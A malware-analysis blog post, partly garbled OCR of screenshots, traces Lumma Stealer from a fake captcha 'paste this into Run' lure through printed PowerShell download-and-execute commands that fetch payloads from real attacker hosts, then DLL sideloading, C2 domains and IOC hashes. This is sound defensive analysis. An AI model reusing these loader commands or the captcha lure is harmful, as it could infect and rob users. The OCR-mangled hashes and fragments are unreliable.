Malware Analysis - Lumma Stealer

@ mandarnaik016.in/blog/2024-10-05-malware-analysis-lumma-stealer/

In this post, we will analyze malware and reverse engineer a sample called lumma stealer.

A web-based attack vector has a captcha page that asks the users to perform the task for
verification.

The user is presented with a captcha page as shown below,

Please verify to continue

[#:Captcha Icon I'm not a robot

On a legitimate page, the user will be asked to select some boxes that contain this or that
object, but here the users are asked to run a PowerShell script for verification that is
automatically copied to the system clipboard once the user clicks on “I am not a robot”
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as shown below,

Verification Instructions

1. Press Windows Key ™ + R
2.Press CTRL+V
3. Press Enter

Verification Instructions

1. Press Windows Key ™ + R
2. Press CTRL +V
3. Press Enter

= Run

/=5 Type the name of a program, folder, document, or
= \temet resource, and Windows will open it for you.

Open: ‘ AGKAbGBNACKALGBDAGBADGBOAGUADGBOAA=S] ~ ‘

€ This task will be created with administrative privileges.

| oK H Cancel H Browse... ‘

We will use the automatically copied PowerShell script for investigation, the script contains
a base64 encoded text being executed with a hidden window.
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3 *Untitled - Notepad — O pY

File Edit Format View Help

powershell -w hidden -ecC

aQBlAHgATAAOAGKAdWBYACAAAABBAHQACAABAC BALWAXADYANQAUADIAMEASACAAMQAYADEAL EABADEALWBhACAAdAB
AAHQATAATAFUACWBIAEIAYQBZAGKAYWBQAGEACEBZAGkAbEBNACKALEBDAG8AbEBOAGUAbEBOAA==

Ln 1, Col 1 100%  Windows (CRLF) UTF-8

After decoding the base64 text we get the following data, The decoded text contains
another PowerShell command to execute the content of a file called a.txt stored at a remote
location.

Download CyberChef ¥ Last build: 3 months ago Options n About / Support o
Operations Recipe ~oma Input + Oz 8=
null T A~ QN |aQB1AHgATAAOAGKAHBYACAAGABOAHQAC AAGACBALWAXADY ANQAUADI AMEA3ACAAMQAY ADEAL GAOADEALWBHACAAJABAAHQATA

rom Base AtAFUACWBLAETAYQBZAGKAYWBQAGEACEB ZAGKADEBNACKAL gBDAGEADEBOAGUADEBOAA==
Remove null bytes Alphabet .

A-Za-20-9+/=
AES Decrypt

Remove non-alphabet chars \:\ Strict mode

AES Encrypt
Bzt Dzaws Remove null bytes ~Qmn
Blowfish Encrypt e 168 = 1 Tr Raw Bytes <« LF
DES Decrypt Output B0 m
DES Encrypt iex (iwr http://165.227.121.41/a.txt -UseBasicParsing).Content]

Find / Replace
Triple DES Decrypt
Triple DES Encrypt

XOR

Eramiz * STEP m gutolsake
w2 =1 Qe @ sms TroRawsytes 42 LF

We download the a.txt file for further examination.
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Date modified
S ThisPC

=
420 AM

ENG
D& ) W o020

The a.txt contains,

| atxt - Notepad — | X

File Edit Format View Help

ﬁwebclient = New-Object System.MNet.WebClient

$urll = "https://downcheck.nyc3.cdn.digitaloceanspaces.com/malt.zip"
$zipPathl = "$env:TEMP\pgl.zip"

$webClient.DownloadFile($urll, $zipPathl)

$extractPathl = "$env:TEMP\file"

Expand-Archive -Path $zipPathl -DestinationPath $extractpPathi
Start-Process -FilePath $env:TEMP\file\Set-up.exe

Ln 1, Col 1 100%  Unix (LF) UTF-8

The file in turn contains another PowerShell command that downloads the file called
malt.zip from a remote location and stores that file with a different name pg17.zip in a temp
location, it then extracts the pg1.zip content into the folder called file then executes the set-
up.exe from that path.
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After unzipping malt.zip the directory content is,

n B = | CAUsers\PMAT\Desktop\lumma\malt

File Home  Share  View

« v 4 B> lumma > malt

= Name Date modified Type
E AL File folder
File folder
BPL File
BPL File
BPL File
File 29KB
PAK File 4,994 KB
BPL File 1070 KB
Application
File
BPL File

11items | E =

- = ) NG 429AM
L e ) &) 9/28/2024

The interesting thing to note, the file set-up.exe has a resemblance to the lobit uninstaller.
A normal user would see the copyright of the file to be lobit and might consider the file as
Legitimate.
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.' Set-up.exe Properties X

General Compatibility Digital Signatures ~ Security  Details

Property Value
Description
File description  IU Service Program
Type Application
File version 13.000

Product name Uninstall Utility 13
Productversion  13.000

Copyright ©[0bit. All rights reserved.
Size 163 KB

Date modified 9/23/2024 5:04 AM
Language English (United States)

Legal trademarks 10bit
Original filename IUService.exe

Remove Properties and Personal Information

OK Cancel Apply

Apart from set-up.exe, we do not find any executable in the directory but after we check the
file type of every file we can see that most of the files with .bp/ extension are executable.
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madbasic_.bpl
(DLL) (GUI) Intel

le madd:
L) (GUI) I for MS Windows

ecutable (DL

6.74
ile madexcept_
LL) (GUI) Inte , for MS Windows

for MS Windows

r MS Windows

4:30
umma\malt:

ENG 430 AM
q
LD @ ) IN  9/28/2024

We ran floss on madbasic_.bpl, maddisAsm_.bpl, madexcept .bpl and Set-up.exe,

The strings inside madbasic_.bpl seems pretty interesting they include text like Encrypt,
Decrypt, Encode, and Decode.

@Madcrypt@Decode$qqrpvi

@Madcrypt@Decode$qqrx27Sy stem@%AnsiStringT$us$i0$%

@Madcrypt@DecodeA

@Madcrypt@DecodeWs$qqrpvi

@Madcrypt@DecodeW$qqrx27Sy stem@%AnsiStringT$us$i0$%
@Madcrypt@Decrypt$qqrpvuix27System@%AnsiString T$us$i0$ %]
@Madcrypt@Decrypt$qqrr20System@UnicodeStringx27Sy stem@%AnsiString T$us$i0$%;j
@Madcrypt@Decrypt$qqrr27System@%AnsiString T$us$i0$%x27Sy stem@%AnsiString T$us$i0$%;j
@Madcrypt@DecryptA

@Madcrypt@DecryptW

@Madcrypt@Encode$qqrpvi

@Madcrypt@Encode$qqrx20System@UnicodeString
@Madcrypt@Encode$qqrx27System@%AnsiStringT$us$i0$%

@Madcrypt@EncodeA

@Madcrypt@EncodeW

@Madcrypt@Encrypt$qqrpvuix27System@%AnsiStringT$us$i0$ %j

@Madcrypt@Encrypt$qqrr20Sy stem@UnicodeStringx27Sy stem@%AnsiStringT$us$i0$ %j
@Madcrypt@Encrypt$qqrr27Sy stem@%AnsiStringT$us$i0$%x27Sy stem@%AnsiString T$us$i0$ %j
@Madcrypt@EncryptA

@Madcrypt@EncryptW

@Madcrypt@Finalization$qqrv

@Madcrypt@OIdDecrypt$qqrpvuix27Sy stem@%eAnsiStringT$us$i0$ %
@Madcrypt@OIdDecrypt$qqrr27Sy stem@%eAnsiStringT$us$i0$ % x27Sy stem@%eAnsiStringT$us$i0$ %
@Madcrypt@OIdEncrypt$qqrpvuix27System@%AnsiString T$us$i0$ %
@Madcrypt@OIdEncrypt$qqrr27System@%AnsiString T$us$i0$%x27Sy stem@%AnsiString T$us$i0$%
@Madcrypt@initialization$qgrv

@Madgraphics@AlphaBlend$qqrp16Graphics@TBitmapt1tlui
@Madgraphics@AlphaBlend$gqrp16Graphics@TBitmaptiuitlii
@Madgraphics@Draw$qqrp16Graphics@TBitmapt1tliiii24Madgraphics@TGrayPercentui27Madgraphics@TStretchQuality
@Madgraphics@Draw$qqruiuipl6Graphics@TBitmapiiii24Madgraphics@TGrayPercentui27Madgraphics@TStretchQuality

PV FRS PRy I PRy N TR [T T ypey e

The file maddisAsm_.bpl has a reference to the previous file madbasic _.bpl.
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rrecLviary

madBasic_.bpl

@Madtools@initialization$qqrv

@Madtools@Finalization$qqrv
@Madtools@GetImageProcName$qgruipvo
@Madtools@GetImageProcAddress$qqgruix27Sy stem@%AnsiString T $us$i0$%o
@Madtools@GetSizeOflmage$qqrpl7_IMAGE_NT_HEADERS
@Madtools@GetImageNtHeaders$qqrui
@Madtools@FindModule$qqrpvruir27Sy stem@%AnsiStringT$us$i0$%
@Madtools@FindModuleA

madBasic_.bpl

@Madstrings@initialization$qqrv

@Madstrings@Finalization$qqrv
@Madstrings@AnsiToWideEx$qqrx27Sy stem@%AnsiStringT$us$i0$ %0
@Madstrings@DecryptStr$gqrx27Sy stem@%AnsiString T$us$i0$%
@Madstrings@IntToHexExA$qqgriic
@Madstrings@IntToHexExA$qqruiic
@Madstrings@IntToStrExA$qqriic
@Madstrings@IntToStrExA$qqruiic
@Madstrings@IntToHexExA$qgriic
@Madstrings@IntToStrExA$qqriic

@Madstrings@CNtDII

@Madstrings@ErrorCodeToStrA

@Madstrings@SubStrA

@Madstrings@SubStrCountA

@Madstrings@FillStrA

@Madstrings@PosStrA

@Madstrings@ReplaceStrA

madDisAsm_.bpl

@$xp$23Maddisasm@TFunctionInfo
@$xp$27Maddisasm@_TFunctionInfo@_1

The file madexcept_.bpl contains text like HTTP account, password, SMTP account,
password, etc.

SETIULNIDALRYT
UploadViaHttp
HttpServer
HttpSsl
HttpPort
HttpAccount
HttpPassword
FogBugz
BugZilla

Mantis
BugTrAccount
BugTrPassword
BugTrProject
BugTrArea
BugTrAssignTo
MailAsSmtpServer
MailAsSmtpClient
SmtpServer
SmtpSs|
SmtpTls
SmtpPort
SmtpAccount
SmtpPassword
MailViaMapi
MailViaMailto
MailAddr
AttachBugRep
AttachBugRepFile
DelBugRepFile
BugRepSendAs
bugreport.mbr

At last, the Set-up.exe contains text like sending mail, sending attachments, etc.




Preparing attachments...\tMxLookMsg
Searching for mail server...
ConnMsg

Connecting to server.
SendMailMsg

Sending mail...

FieldMsg

Setting fields...

SendAttMsg

Sending attachments...
SendFinalMsg

Finalizing...

SendFailMsg

Sorry, sending the bug report didn't work.
TPFO

TMEContactForm

ContactForm

Message

Contact Information

MinWidth

OnAction
madExcept.HandleContactForm
Timer

\tINVButton

ContinueBtn

Caption

Continue

Let’'s do a dynamic analysis to get more insight.

After we execute the file we use procom to get the activity performed by Set-up.exe file.

Monitor -

File Edit Event Filter Tools Options Help

CEQRIVFOI&I£QANEHRB

Time of Day | Process Name PID | Operation

6:07:04.796(
6:07:04.796( L §¢Load Image
7€ eateFile
96 () RegOpenkey
[f) RegOpenkey
96 () RegQuenyValue
96 (] RegCloseKey
96 (i) RegOpenkey
607:04.796¢ v t 96 ff]) RegOpenkey
607.04.796: y g 2996 [l RegOpenKey
78 ] RegOpenkey
[l RegQueryValue
299 () RegCl

2996 (] RegOpenKey
BAM (1) Set ] RegQueryValue
5767 AM (U) Setup exe [ff) RegQueryValue
1507 AM (2) et 7)) RegClossKey
9 52 Load Image
96 [F}) RegOpenKey
9 [fl] RegOpenKey
[Fl) RegSetinfoKey
2996 [fj] RegQuenyValue
(fi] RegCloseKey
i) RegOpenkKey
299 1) RegOpenKey
i) RegOpenkey
96 [l RegOpenkey
96 [Ff) RegSetinfokey
() RegQuenyValue
9 (flj RegCloseKey

XX

Backed by virtual memory

opllummam:
stem32inidlldil
WOW64\ntdll.dil

tem|CurreniControlSet\Control|Se:
tem|CureniControlSet\Control|Se:

2wowb4.dil

\Windows 2\wows4win.dil
\Windows\Sysf wows4log.dl

C\Windows

tem\CurrentControlSet\Control\Se:
EM\CurrentControlSetiControl
miCurrentControlSetiControl\S:

seExceptionOnPossibleDeadlock

ion Manager|ResourcePolicies
ion Manager

ion Manager
ion I
ion I

The file did perform a lot of activity but the most interesting

CreateProcess.

Detail

REPARSE Desired Acce:

NAME NOT FOUND Desired Acce:

REPARSE Desired Acce:

St Desired Acce:

NAME NOT FOUND Length: 24

g o

SUCCESS Desired Acce:
55 Image Base:

age B

S| Im;

NAME NOT FOUND

SUCCESS Desired Acce:
Name: \Window:

SUCCESS Desired Access: R
NAME NOT FOUND Length: 520
Type: REG_SZ. Le.

Image Base: 0x779.
Desired Access: Q

REPARSE

NAME NOT FOUND D
EPARSE D

ENG 6710 AM
& D) om0

are CreateFile, WriteFile, and

The process tree gave us more insight i.e. the Set-up.exe file created a subprocess called
more.com which executes from the SYSWOW®64 folder in turn creating two subprocesses of
conhost.exe and Launcher.exe executing from the AppData folder.
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More Utility C. \S Microsoft Corporation ATLAS-O7POUPD... C\Windows\SysW... 9/23

[ev]Conhostexe ( Console Window . C: \¢ X _Ml(m, ft Corporation ATLAS-07POUPD... \??\C:\Windows\s

g Launcher exe Python \Launcher.exe I P ton Sofware Foundation ATLAS-07POUPD

We use x32Dbg for debugging the Set-up.exe file. We set the following breakpoints which
we got from the file activity in procmon.

-up.exe - PID: 1364 - Module: kemel32.dll - Thread: Main Thread 1380 - x32dbg [Elevats
fiew Debug Tracing FPlugin

5 m = n|* Vi

= sk o#

Memory Map B call Stack O Source A References ™ Thre.

Hits| sunmary
0040E704
02F71433

5£33140| <ki K Fil nab’
5F42D90 | <kernel32. d11. Enabled |fmo\

Command;

breakpoint at <kerne

ENG 1029 AM
@)
= D& D) W 012008

Set-up.exe - PID: 3356 - Module: kernelbase.dll - Thr

File View Debug Tracing Plugins Favourites

ource  ®  References

Hide FPU

00000000000000000000
00000000000000000000

00000000000000000000

I = x 00000000000000000000

x ' 0 - 00000000000000000000
ggEjj éfﬂuuum 1 & 40058000000000000000
=B . 40028000000000000000
S5 S000rore ecx : 2FFDC000000000000000

804424 08
E7C1 00001000

oc 00

stdcall)

2 1C00 C : [esp+4] O0L9ED24 0019ED24
81E1 00001FO0 0 +8] 70889311 pla.70889311
Charaa ne A +C] OOLOEF48 0010EF48 L'C

+10] 00000001 00000001
sp+14] 00000001 00000001
:$10E648 #10DA48
0019ECCS| 50000938 | rt1120. @Systenarinalizationsqqrv+Fs

W pympi M pump2 oump3 ™ pumps ™ pumps @ watch1 )019ECCC | 0019ED24 - saq
Addr. Hex ASCIT 0019EF48| L "C :\\Windows \pla.d11"

D51000/36 AQ 00 1E 00 cl 6.8, AC

051010/ 2 36 00|Lc c1 b5 77| (.

051020 2 L o

1 0
77 00000000
0 0 78 D5 . 02C7AE!

84 17 D5 77 a1 L F4 [ 03660020,

0 8 00 00 00 PR 007 C8
00 00 00 00 . . 19E: 0019F7E0|

0/94 17 D5 4 0019ED00 /1 02142FA0!

00 00 00 00 0 .

INT3 breakpoint at <kernel
10:13 AM
10/1/2024

It created a file called pla.dll in the SYSWOWG64 folder.
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CAWin

Home

crm

S ThispC

dows\¢

hare
ThisPC > Local Disk (C) > Windows > SysWOW64

Name
IE PINGEXE

& pku2udi

& pladil

8 playlistfolder.dil

B Playsndsiv.dil

B PiayToDevi

& PlayTo

B playtomenu.dil

I8 PlayToReceiverdil

B PlayTostatusProvider.dil
8 pngfiltan

8 policymanagerdil

B polstore.dil

I PortableD

B PortableD

B PortableD

tus.dll

B PortableDeviceSyncProviderdil
8 PortableDeviceTypes.
B PortableDevice!

8 POSyncServicesdil

8 potsdil

B powercig.cpl

EH powercfg

B povercpldil

B powrprofdil

2,481 items | 1 item selected 1. te: 4 Shared |

™

e

Home

<1 m

= ThisPC

111 item

ers\PMAT\AppData\Local\Temp

hare  View
PMAT > AppData > Local > Temp

Name

mp
tmp

Redistrib,
Redistrib..
Redistrib,
B Microsoft Visual C++ Redistrib,
B Microsoft Visual C Redistrib,
@ Microsoft Visu edistrib,
B Microsoft Visu 86 Redistrib.
@ Microsoft Visual C++ (86 Redistib.
B Microsoft Vi
B Microsoft vi
B wmsetuplog

Date modified
12/7/2019 1:09 AM
4/23/2022 415 PM
12/7/2019 1:10 AM
/2019 1:09 AM
/2019 1:09 AM
7/2019 1:09 AM
4/23/2022 415 PM
12/7/2019 1:09 AM
12/7/2019 1:53 AM
12/7/2019 1:09 AM
12/7/2019 1:10 AM

7/2019 1:53
12/7/2019 1:09 AM
12/7/2019 1:53 AM
12/7/2019 1:53 AM
12/7/2019 1:09 AM
12/7/2019 1:09 AM
12/7/2019 1:10 AM
12/7/2019 1:09 AM
4/23/2022 415 PM
4/23/2022 415 PM

Date modified

9/28/2024 5:54 AM

9/28/2024 5:54 AM
/28/2024 5:54 AM

9/28/2024 5:54 AM

24 8:24 AM
11:41 PM

9/25/2024 11:14 PM

Type
Application
Application ex

Application extens...

Application ex
Application ex
Application

Application
Application ex
Application e
Application

Type
TMP File
TMPFile
TMP File
TMPFile
TMPFile
TMPFile
TMPFile
TMP File

HTML File
Text Document
HTML File
Text Document
Text Document
HTML File
Text Document
HTML File
Text Document
Text Document

19 KB
211 KB
1,497 KB
60 KB
79 KB
274 KB
414 KB
140 KB
214KB

938 KB
83 KB
311KB
90 KB
309 KB
233 KB
78 KB
334 KB
86 KB
332KB
232KB

1KB

ENG
m @ o) 0

ENG
o & ) 0

iP=
10:15 AM
10/1/2024

i =
10:23 AM
10/1/2024

We hit another breakpoint of CreateProcess, it is creating a process of /Uservice from the
roaming folder,
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Set-up.exe - PID: 1364 - Module: kernel32.dIl - Thread: Main Thread 1380 - x32dbg [Elevated]

File View Debug Tracing FPlugin
-5 = VAR 4

7 Memory Map O source ® References
Hide FPU

00000000000000000000
00000000000000000000
00000000000000000000
00000000000000000000
00000000000000000000
40058000000000000000
40028000000000000000

) 3FFDC000000000000000

Default (stdca + [ unlocked
: [esp+4] 00000000 00000000 a
+8] 004B40A8 004B40A8 L"C PMAT\\AppData'
eanr +C] 00000000 00000000
Sqqr +10] 00000000 00000000
+14] 00000000 00000000
5F28BEQ ki d11:$188E0 #9BEQ <CreatePr:

0019ECSC [[708844CD
00000000
R 004B40AE| L"C :\\ \\PMAT\\AppData\ \Roaming\ \XIF

M oumpi M pumpz M pump3 M pumps M oumps @ want

20 7 [a}
54 (=%
<0

F D5 77|24 00
00 00|84 17 b5 77 4
00 00|18 00 00 00|00
0|7¢ 17 D5 77|40 Q0 00 00|00 00 Q0 00|00
18700 00 00 00(94 17 D5 77 40 O
00 00 00 00 00|16 00 18 00|18

00000000
00000000
00000000

[command:

INT3 breakpoint at <kernel32.CreateProc :

ENG 1029 AM
)
D& 10/1/2024

Unfortunately, we do not see any executable in that folder, although it copied itself in that
folder for persistence.

I = | C\Users\PMAT\AppData\Roaming\XIF
Home ew
- v 4 B > ThisPC > Local Disk(C) > Users > PMAT > AppData > Roaming > XIF
Name Date modified Type
= This PC

B KQMLMKGXLFNFBDCOVH 9/28/2024 6:07 AM le folder

B madbasic_bpl 9/23/2024 5:04 AM BPL File 213 KB

B maddisasm_bpl 9/23/2024 5:04 AM BPL File 65 KB
9/23/2024 5:04 AM BPL File

B ovgiav /23/2024 504 AM File

B rti1200p1 /2342024 504 AM BPL File

B uq /23/2024 504 AM

I val1200p! 9/23/2024 5:04 AM BPL File

8items |

ENG
Q)
= ® ) IN  9/29/2024

Another breakpoint of CreateProcess was hit, it is creating a process of more.com from the
SYSWOW64 folder,
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Set-up.exe - PID: 1364 - Module: kernelbase.dll - Thread: Main Thread 1380 -

File View Debug Tracing Plugns Favourites Options Help

/= @

Breakpoints Memory Map
"

I

S9D6EQ 8BFF

6A 00
E8 24000000

c2 2800
cc

:SFDGEQ #FCAEQ <Cr

M pump 2 M pympe MW

38 00[A0 CL 1C 00 1E 0080 CL
0 2A 00|54 cL 34 00 36 00|1C CL
20 c <0
0 1A 00 00 22 0
00 | 6C_CO 00 2E
2 00|18 c 0
0 12 00|E8
00 00|00
00 00

D5
00 00
0 00

00|
7140 00 00 00| -
2 70 o8 29|1

INT3 breakpoint at X W:

™

Manage

Home View  Application Tools

v 4 B > ThisPC > Local Disk(C) > Windows

Name
= ThisPC

8 MirrorDrvCompatadil
B miutilsdil
B miangdat
B miangdil

™ mme

B mmcbasedil
B mmcndmardil

B mmresdil

B mmsyscpl

EE mode.com

8 more.com

B moriconsdll
EE mountvol.exe
B mp3DMODDLL
I MP4sDECDDLL
B mpa3DECDDLL
B mpo2spit.

B MPG4DECD.DLL
B mprdil

B mprapidil

2,481 items | d 240KB | State:

™

1 item

oumps @

SysWOW64

Watch 1 Locals

CA\Windows\SysWOW64

/2019 1:09 AM
/23/2022 4:15 PM
/23/2022 4:15 PM
/7/2019 1:10 AM

3/2022 4:15 PM

/7/2019 109 AM

3/2022 4:15 PM
/23/2022 4:15 PM

/1/2019 1:10 AM

23/2022 4:15 PM
12/7/2019 1:10 AM

23/2022 4:15 PM
12/7/2019 1:09 AM
12/7/2019 1:09 AM
12/7/2019 1:09 AM
12/7/2019 109 AM
12/7/2019 1:10 AM
12/7/2019 1:09 AM
12/7/2019 1:53 AM
4/23/2022 415 PM
12/7/2019 1:53 AM
4/23/2022 415 PM
12/7/2019 1:53 AM

23/2022 4:15 PM

/2019 1:03 AM

2 stuct

Type
Application extens.
Application extens.
Application extens.
Application extens.
Application extens.
DAT File
Application extens.
Application
CONFIG File

ati

tion extens.

tion exten:

tion extens.
Application extens.
Control panel item
MSs-DOS Applicati

Application
Applic
cation extens.

tion extens.

tion exten:
tion extens.

Application extens.

1

Source

KB

412 KB

References

Threads

Hide FPU

) 00000000000000000000

00000000000000000000
00000000000000000000
00000000000000000000
00000000000000000000
40058000000000000000
40028000000000000000
3FFDC000000000000000

Default (stdcall)

0019EBAC| 707FDO3E
0019EE50| 00000000
4| 00440DA8 | L
00000000
00000000
)| 00000001
08000000
00000000
00000000
019F234
0019F680
00000000
Al

p+4] 00000000 00000000
p+8] 00440DA8 00440DA8
p+C]_00000000 00000000
p+10] 00000000 00000000
p+14] 00000001 00000001

Default -

Time V

ENG
@)
D&

ENG
= & ) 0

In parallel we were also monitoring the network connections, The Set-up.exe tried to
communicate with the following URL,

hittybanndwk[.]shop
racedsuitreow([.]shop
defenddsouneuw[ .]shop
deallyharvenw[.]shop
priooozekw][ .]shop
pumpkinkwquo[ . Jshop
abortinoiwiam[.]shop
surroundeocw| . Jshop
covvercilverow][.]shop
steamcommunity[.]com

ed Debugging: 0

0:46:3:
10:34 AM
10/1/2024

=
10:36 AM
10/1/2024
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I0Cs

1. IPs
165[.]227[.]121[.]41
2. URLs

downcheck[.]nyc3[.]cdn[.]digitaloceanspaces[.]com
hittybanndwk|[.]shop
racedsuitreow([.]shop
defenddsouneuw( . Jshop
deallyharvenw[.]shop
priooozekw][ .]shop
pumpkinkwquol[ .]shop
abortinoiwiam[.]shop
surroundeocw| . Jshop
covvercilverow][.]shop
steamcommunity[.]com

3. Hashes

36a942a4e3308d47dfecbce2cd9c85ed316f877dbb85706T413cddcf04960a56
36c0dba42123f1bdad46ed4526af9ab6fe2ceca755470703a45e90d5¢c0515c0044c¢
038511fc64801be03d8472a2f7a6ba8a27e0398cf876bel1427¢c1463cf9190c80
11e3568T497c40331ee4a9€9973967e61b224e19204e09ed7451da3b74bd2ff5
fb64a5954b726d2d0fObc26113a36dc8a86c469af994ceeaf2e2609743a0a557
80ae800e8b3a8091249d7e8bh25a81788a3felab5ecel22bfObd7ac458bc2f315
11d0f55¢c105883d203137a87a610ba793299dc4774fd6d8bh3a86666a2c337041
6b2174db9f76580e59ff9fa91247491ce3dad49172afe415ff8deb2a3fc7b97dc
d5a6714ab95caa92efl1a712465a44¢c1827122b971bdb28ffa33221e07651d6T7
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